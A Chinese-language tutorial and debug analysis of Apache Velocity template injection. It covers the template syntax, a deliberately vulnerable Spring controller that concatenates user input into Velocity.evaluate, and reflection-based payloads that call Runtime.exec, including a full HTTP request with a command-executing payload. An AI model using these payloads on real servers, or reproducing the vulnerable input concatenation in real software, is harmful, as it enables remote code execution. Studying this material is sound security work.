JAVA安全之Velocity模板注入刨析
文章前言
关于Velocity模板注入注入之前一直缺乏一个系统性的学习和整理,搜索网上大多数类似的内容都是一些关于漏洞利用的复现,而且大多都仅限于Velocity.evaluate的执行,对于载荷的构造以及执行过程并没有详细的流程分析,于是乎只能自己动手来填坑了~
模板介绍
Apache Velocity是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML或任何其他形式的ASCII文本),它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起,因此被广泛应用于各种Java应用程序中包括Web应用
基本语法
Apache Velocity的语法简洁明了,主要由变量引用、控制结构(例如:条件和循环)、宏定义等组成
变量引用
在Velocity模板中可以使用$符号来引用上下文中的变量,例如:
Hello, $name!
示例代码:
#Java代码
context.put("name", "Al1ex");
#模板内容
Hello, $name! // 输出: Hello, Al1ex!
条件判断
Velocity支持基本的条件判断,通过#if、#else和#end指令来实现:
#if($user.isLoggedIn())
Welcome back, $user.name!
#else
Please log in.
#end
示例代码:
#Java代码
context.put("user", new User("Al1ex", true)); // 假设 User 类有 isLoggedIn 方法
#模板内容
#if($user.isLoggedIn())
Welcome back, $user.name!
#else
Please log in.
#end
// 输出: Welcome back, Al1ex!
循环操作
通过使用#foreach来遍历集合或数组
#foreach($item in $items)
<li>$item</li>
#end
示例代码:
#Java代码
context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));
#模板内容
<ul>
#foreach($item in $items)
<li>$item</li>
#end
</ul>
#输出:
<ul>
<li>Apple</li>
<li>Banana</li>
<li>Cherry</li>
</ul>
宏定义类
Velocity支持定义宏,方便复用代码块,宏通过#macro定义,通过#end结束:
#macro(greet $name)
Hello, $name!
#end
#greet("World")
示例代码:
#模板内容
#macro(greet $name)
Hello, $name!
#end
#greet("Alice")
#输出: Hello, Alice!
方法调用
Velocity允许使用#符号调用工具类的方法,在使用工具类时你需要在上下文中放入相应的对象
#set($currentDate = $dateTool.get("yyyy-MM-dd"))
Today's date is $currentDate.
示例代码:
import org.apache.commons.lang3.time.DateUtils;
#Java代码
context.put("dateTool", new DateUtils());
#模板内容
#set($currentDate = $dateTool.format(new Date(), "yyyy-MM-dd"))
Today's date is $currentDate.
#输出内容:
Today's date is 2024-08-16
包含插入
Velocity支持包含其他模板文件,通过#include指令实现,例如:
主模板文件main.vm
Hello, $name!
#if($isAdmin)
#include("adminDashboard.vm")
#else
#include("userDashboard.vm")
#end
用户仪表盘模板文件userDashboard.vm
Welcome to your user dashboard.
Here are your notifications...
管理员仪表盘模板文件adminDashboard.vm
Welcome to the admin dashboard.
You have access to all administrative tools.
假设我们有以下 Java 代码来渲染主模板:
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import java.io.StringWriter;
public class IncludeExample {
public static void main(String[] args) {
// 初始化 Velocity 引擎
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.init();
// 创建上下文并添加数据
VelocityContext context = new VelocityContext();
context.put("name", "John Doe");
context.put("isAdmin", true); // 或者 false,取决于用户权限
// 渲染主模板
Template template = velocityEngine.getTemplate("main.vm");
StringWriter writer = new StringWriter();
// 合并上下文与模板
template.merge(context, writer);
// 输出结果
System.out.println(writer.toString());
}
}
根据给定的上下文,如果isAdmin为 true,输出将会是:
Hello, John Doe!
Welcome to the admin dashboard.
You have access to all administrative tools.
如果isAdmin为false,输出将会是:
Hello, John Doe!
Welcome to your user dashboard.
Here are your notifications...
数学运算
Velocity也支持基本的数学运算和字符串操作
#set($total = $price * $quantity)
The total cost is $total.
#set($greeting = "Hello, " + $name)
$greeting
示例代码:
#Java代码
context.put("price", 10);
context.put("quantity", 3);
context.put("name", "Al1ex");
#模板内容
#set($total = $price * $quantity)
The total cost is $total.
#set($greeting = "Hello, " + $name)
$greeting
#输出内容:
The total cost is 30.
Hello, Al1ex
标识符类
'#'号标识符
在Apache Velocity模板引擎中#符号用来标识各种脚本语句,允许开发者在模板中实现逻辑控制、数据处理和代码重用等功能,下面是一些常见的以#开头的Velocity指令:
1、#set
用于设置变量的值
#set($name = "John")
Hello, $name! ## 输出:Hello, John!
2、#if
用于条件判断
#if($age >= 18)
You are an adult.
#else
You are a minor.
#end
3、#else
'#'和if搭配使用,表示其它情况
#if($isMember)
Welcome back, member!
#else
Please sign up.
#end
4、#foreach
用于遍历集合(例如:数组或列表)
#foreach($item in $items)
Item: $item
#end
5、#include
用于包含其他文件的内容
#include("header.vm")
6、#parse
类似于#include,但更适合解析并执行另一个模板文件
#parse("footer.vm")
7、#macro
用于定义可重用的宏
#macro(greeting $name)
Hello, $name!
#end
#greeting("Alice") ## 输出:Hello, Alice!
8、#break
在循环中用于提前退出循环
#foreach($i in [1..5])
#if($i == 3)
#break
#end
$i
#end
9、#stop
在模板的渲染过程中停止进一步的处理
#if($condition)
#stop
#end
10、#directive
用于创建自定义指令
#directive(myDirective)
{}标识符
Velocity中的{}标识符用于变量和表达式的引用,它们提供了一种简洁的方法来插入变量值、调用方法或访问对象属性,例如:
1、引用变量
可以使用${}来引用一个变量的值,变量通常通过#set指令定义
#set($name = "John")
Hello, ${name}! ## 输出:Hello, John!
2、访问对象属性
如果变量是一个对象,那么可以使用${}来访问该对象的属性
#set($person = {"firstName": "Jane", "lastName": "Doe"})
Hello, ${person.firstName} ${person.lastName}! ## 输出:Hello, Jane Doe!
3、调用方法
在${}中调用对象的方法
#set($dateTool = $tool.date)
Today's date is: ${dateTool.format("yyyy-MM-dd")} ## 输出当前日期
$标识符
在Apache Velocity模板引擎中$符号用于表示变量的引用,通过$您可以访问在模板中定义的变量、对象属性和方法,这是Velocity的核心特性之一,使得模板能够动态地插入数据
1、引用变量
使用$可以直接引用之前声明的变量,通常变量是通过#set指令定义的
#set($username = "Alice")
Welcome, $username! ## 输出:Welcome, Alice!
2、访问对象属性
如果变量是一个对象,可以使用$来访问该对象的属性,例如:如果你有一个用户对象,你可以获取其属性
#set($user = {"name": "Bob", "age": 30})
Hello, $user.name! You are $user.age years old. ## 输出:Hello, Bob! You are 30 years old.
3、调用方法
通过$来调用对象的方法以便执行某些操作或获取计算的结果
#set($dateTool = $tool.date)
Today's date is: $dateTool.format("yyyy-MM-dd") ## 输出当前日期
4、表达式计算
虽然$本身只用于变量引用,但可以与{}结合使用来实现简单的数学运算
#set($a = 5)
#set($b = 10)
The sum of $a and $b is ${a + b}. ## 输出:The sum of 5 and 10 is 15.
! 标识符
在Apache Velocity模板引擎中!符号主要用于处理变量的空值(null)和默认值,它提供了一种简单的方法来确保在引用变量时,如果该变量为空则使用一个默认值,这种功能有助于避免在模板中出现空值,从而增强模板的健壮性和用户体验,当您想要引用一个变量并提供一个默认值时,可以使用${variable!"defaultValue"}的语法,其中:
variable 是您希望引用的变量名
defaultValue 是该变量为空时将使用的值
1、基本使用
在这个例子中由于$name是空字符串所以输出了默认值"Guest"
#set($name = "")
Welcome, ${name!"Guest"}! ## 输出:Welcome, Guest!
2、带有实际值的变量
如果变量有值那么!不会影响其输出,因为在这个例子中$name有值"Alice",所以会直接输出这个值
#set($name = "Alice")
Welcome, ${name!"Guest"}! ## 输出:Welcome, Alice!
模板注入
Velocity.evaluate
方法介绍
Velocity.evaluate是Velocity引擎中的一个方法,用于处理字符串模板的评估,Velocity是一个基于Java的模板引擎,广泛应用于WEB开发和其他需要动态内容生成的场合,Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果,这个方法通常用于在运行时动态创建内容,比如:生成HTML页面的内容或电子邮件的文本,方法如下所示:
public static void evaluate(Context context, Writer writer, String templateName, String template)
参数说明:
- Context context:提供模板所需的数据上下文,可以包含多个键值对
- Writer writer:输出流,用于写入生成的内容
- String templateName:模板的名称,通常用于调试信息中
- String template:要评估的模板字符串
示例代码
简易构造如下代码所示:
package com.velocity.velocitytest.controller;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.VelocityContext;
import org.springframework.web.bind.annotation.*;
import java.io.StringWriter;
@RestController
public class VelocityController {
@RequestMapping("/ssti/velocity1")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="Al1ex") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";
Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Al1ex Al2ex Al3ex");
ctx.put("phone", "18892936458");
ctx.put("email", "Al1ex@heptagram.com");
StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString);
return out.toString();
}
}
利用载荷
通过上面的菲尼我们可以构造如下payload:
username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")
调试分析
下面我们在Velocity.evaluate功能模块处打断点进行调试分析:
上面参数传递拼接templateString,带入Velocity.evaluate调用evaluate方法:
随后继续向下跟进,在这调用当前类中的evaluate
随后在evaluate中先检查模板名称是否为空,不为空后调用parser进行模板解析:
在这里首先检查是否已经初始化解析器,如果未初始化则进行初始化操作,随后从解析器池中获取一个Parser对象,如果池中没有可用的解析器,则将keepParser标志设为true以便找到对应的适配的解析器,紧接着调用dumpVMNamespace(templateName)方法来转储命名空间信息并使用parser.parse(reader, templateName)方法从reader中解析模板,返回的结果存储在var6中
随后调用parser进行模板解析,首先初始化和状态清理,随后开始进行解析
public SimpleNode parse(Reader reader, String templateName) throws ParseException {
SimpleNode sn = null;
this.currentTemplateName = templateName;
try {
this.token_source.clearStateVars();
this.velcharstream.ReInit(reader, 1, 1);
this.ReInit((CharStream)this.velcharstream);
sn = this.process();
} catch (MacroParseException var6) {
this.rsvc.getLog().error("Parser Error: " + templateName, var6);
throw var6;
} catch (ParseException var7) {
this.rsvc.getLog().error("Parser Exception: " + templateName, var7);
throw new TemplateParseException(var7.currentToken, var7.expectedTokenSequences, var7.tokenImage, this.currentTemplateName);
} catch (TokenMgrError var8) {
throw new ParseException("Lexical error: " + var8.toString());
} catch (Exception var9) {
String msg = "Parser Error: " + templateName;
this.rsvc.getLog().error(msg, var9);
throw new VelocityException(msg, var9);
}
this.currentTemplateName = "";
return sn;
}
随后进行模板渲染操作,如果nodeTree为null,则返回false,表示评估失败,如果nodeTree不为null,则调用render方法,使用提供的上下文、写入器和日志标签来渲染模板,将render方法的结果(布尔值)作为返回值,如果渲染成功则返回 true,否则返回false
render渲染代码如下所示:
public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var18) {
throw new ParseErrorException(var18, (String)null);
} catch (RuntimeException var19) {
throw var19;
} catch (Exception var20) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var20);
throw new VelocityException(msg, var20);
}
try {
if (this.provideEvaluateScope) {
Object previous = ica.get(this.evaluateScopeName);
context.put(this.evaluateScopeName, new Scope(this, previous));
}
nodeTree.render(ica, writer);
} catch (StopCommand var21) {
if (!var21.isFor(this)) {
throw var21;
}
if (this.getLog().isDebugEnabled()) {
this.getLog().debug(var21.getMessage());
}
} catch (IOException var22) {
throw new VelocityException("IO Error in writer: " + var22.getMessage(), var22);
}
} finally {
ica.popCurrentTemplateName();
if (this.provideEvaluateScope) {
Object obj = ica.get(this.evaluateScopeName);
if (obj instanceof Scope) {
Scope scope = (Scope)obj;
if (scope.getParent() != null) {
ica.put(this.evaluateScopeName, scope.getParent());
} else if (scope.getReplaced() != null) {
ica.put(this.evaluateScopeName, scope.getReplaced());
} else {
ica.remove(this.evaluateScopeName);
}
}
}
}
return true;
}
随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递:
render的具体实现如下所示,在这里会调用execute方法来进行具体的解析操作:
execute的执行代码如下所示,可以看到这里的children即为我们传入的参数值:
public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
if (this.referenceType == 4) {
return null;
} else {
Object result = this.getVariableValue(context, this.rootString);
if (result == null && !this.strictRef) {
return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);
} else {
try {
Object previousResult = result;
int failedChild = -1;
String methodName;
for(int i = 0; i < this.numChildren; ++i) {
if (this.strictRef && result == null) {
methodName = this.jjtGetChild(i).getFirstToken().image;
throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
}
previousResult = result;
result = this.jjtGetChild(i).execute(result, context);
if (result == null && !this.strictRef) {
failedChild = i;
break;
}
}
if (result == null) {
if (failedChild == -1) {
result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);
} else {
StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);
for(int i = 0; i <= failedChild; ++i) {
Node node = this.jjtGetChild(i);
if (node instanceof ASTMethod) {
name.append(".").append(((ASTMethod)node).getMethodName()).append("()");
} else {
name.append(".").append(node.getFirstToken().image);
}
}
if (this.jjtGetChild(failedChild) instanceof ASTMethod) {
methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();
result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
} else {
methodName = this.jjtGetChild(failedChild).getFirstToken().image;
result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
}
}
}
return result;
} catch (MethodInvocationException var9) {
var9.setReferenceName(this.rootString);
throw var9;
}
}
}
}
通过反射获取执行的类
最终递归解析到"cmd.exe /c calc"
最后完成解析执行:
template.merge(ctx, out)
方法介绍
在Java的Velocity模板引擎中template.merge(ctx, out)是一个关键的方法,它主要用于将模板与给定的上下文数据合并,同时将结果输出到指定的目标,方法格式如下所示:
void merge(Context context, Writer writer)
参数说明:
- Context context:包含动态数据的上下文对象,通常是VelocityContext的实例,使用上下文可以为模板提供变量和数据,使得模板能够在渲染时采用这些值
- Writer writer: Writer类型的对象指定了合并后内容的输出目标,常见的实现包括 StringWriter, PrintWriter 等,可以将生成的内容写入字符串、文件或其他输出流
示例代码
Step 1:添加依赖
在pom.xml中添加以下依赖:
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
Step 2:创建模板文件
在项目的src/main/resources/templates目录下创建一个名为template.vm的文件,内容如下
Hello, $name!
#set($totalPrice = $price * $quantity)
The total cost for $quantity items at $price each is: $totalPrice.
#foreach($item in $items)
- Item: $item
#end
Step 3:创建Controller类
接下来我们创建一个控制器类用于处理请求并返回渲染后的模板
package com.velocity.velocitytest.controller;
import org.apache.velocity.Template;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.context.Context;
import org.apache.velocity.VelocityContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.StringWriter;
import java.util.Arrays;
@RestController
public class VelocityController {
private final VelocityEngine velocityEngine;
@Autowired
public VelocityController(VelocityEngine velocityEngine) { //通过构造函数注入方式获得Velocity引擎实例
this.velocityEngine = velocityEngine;
}
@GetMapping("/generate")
public String generate(@RequestParam String name,
@RequestParam double price,
@RequestParam int quantity) {
// Step 1: 加载模板
Template template = velocityEngine.getTemplate("template.vm");
// Step 2: 创建上下文并填充数据
Context context = new VelocityContext();
context.put("name", name);
context.put("price", price);
context.put("quantity", quantity);
context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));
// Step 3: 合并模板和上下文
StringWriter writer = new StringWriter();
template.merge(context, writer);
// 返回结果
return writer.toString();
}
}
Step 4:配置Velocity
为了使Velocity引擎可以工作,我们需要在Spring Boot应用程序中进行一些配置,创建一个配置类如下所示
package com.velocity.velocitytest.config;
import org.apache.velocity.app.VelocityEngine;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.Properties;
@Configuration
public class VelocityConfig {
@Bean
public VelocityEngine velocityEngine() {
Properties props = new Properties();
props.setProperty("resource.loader", "file");
props.setProperty("file.resource.loader.path", "src/main/resources/templates"); // 模板路径
VelocityEngine velocityEngine = new VelocityEngine(props);
velocityEngine.init();
return velocityEngine;
}
}
Step 5:运行项目并进行访问
http://localhost:8080/generate?name=Alice&price=10.99&quantity=3
通过上面的菲尼我们可以构造如下payload:
username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")
调试分析
下面我们简易分析一下如何通过控制模板文件造成命令执行的过程,首先我们在template.merge处下断点:
随后在merge中调用当前类的merge:
随后调用render方法进行渲染:
随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递:
render的具体实现如下所示,在这里会调用execute方法来进行具体的解析操作:
execute的执行代码如下所示:
public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
if (this.referenceType == 4) {
return null;
} else {
Object result = this.getVariableValue(context, this.rootString);
if (result == null && !this.strictRef) {
return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);
} else {
try {
Object previousResult = result;
int failedChild = -1;
String methodName;
for(int i = 0; i < this.numChildren; ++i) {
if (this.strictRef && result == null) {
methodName = this.jjtGetChild(i).getFirstToken().image;
throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
}
previousResult = result;
result = this.jjtGetChild(i).execute(result, context);
if (result == null && !this.strictRef) {
failedChild = i;
break;
}
}
if (result == null) {
if (failedChild == -1) {
result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);
} else {
StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);
for(int i = 0; i <= failedChild; ++i) {
Node node = this.jjtGetChild(i);
if (node instanceof ASTMethod) {
name.append(".").append(((ASTMethod)node).getMethodName()).append("()");
} else {
name.append(".").append(node.getFirstToken().image);
}
}
if (this.jjtGetChild(failedChild) instanceof ASTMethod) {
methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();
result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
} else {
methodName = this.jjtGetChild(failedChild).getFirstToken().image;
result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
}
}
}
return result;
} catch (MethodInvocationException var9) {
var9.setReferenceName(this.rootString);
throw var9;
}
}
}
}
通过反射获取执行的类
最后完成解析执行:
补充一个可用载荷:
POST /ssti/velocity1 HTTP/1.1
Host: 192.168.1.7:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 303
username=#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd.exe /c calc"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end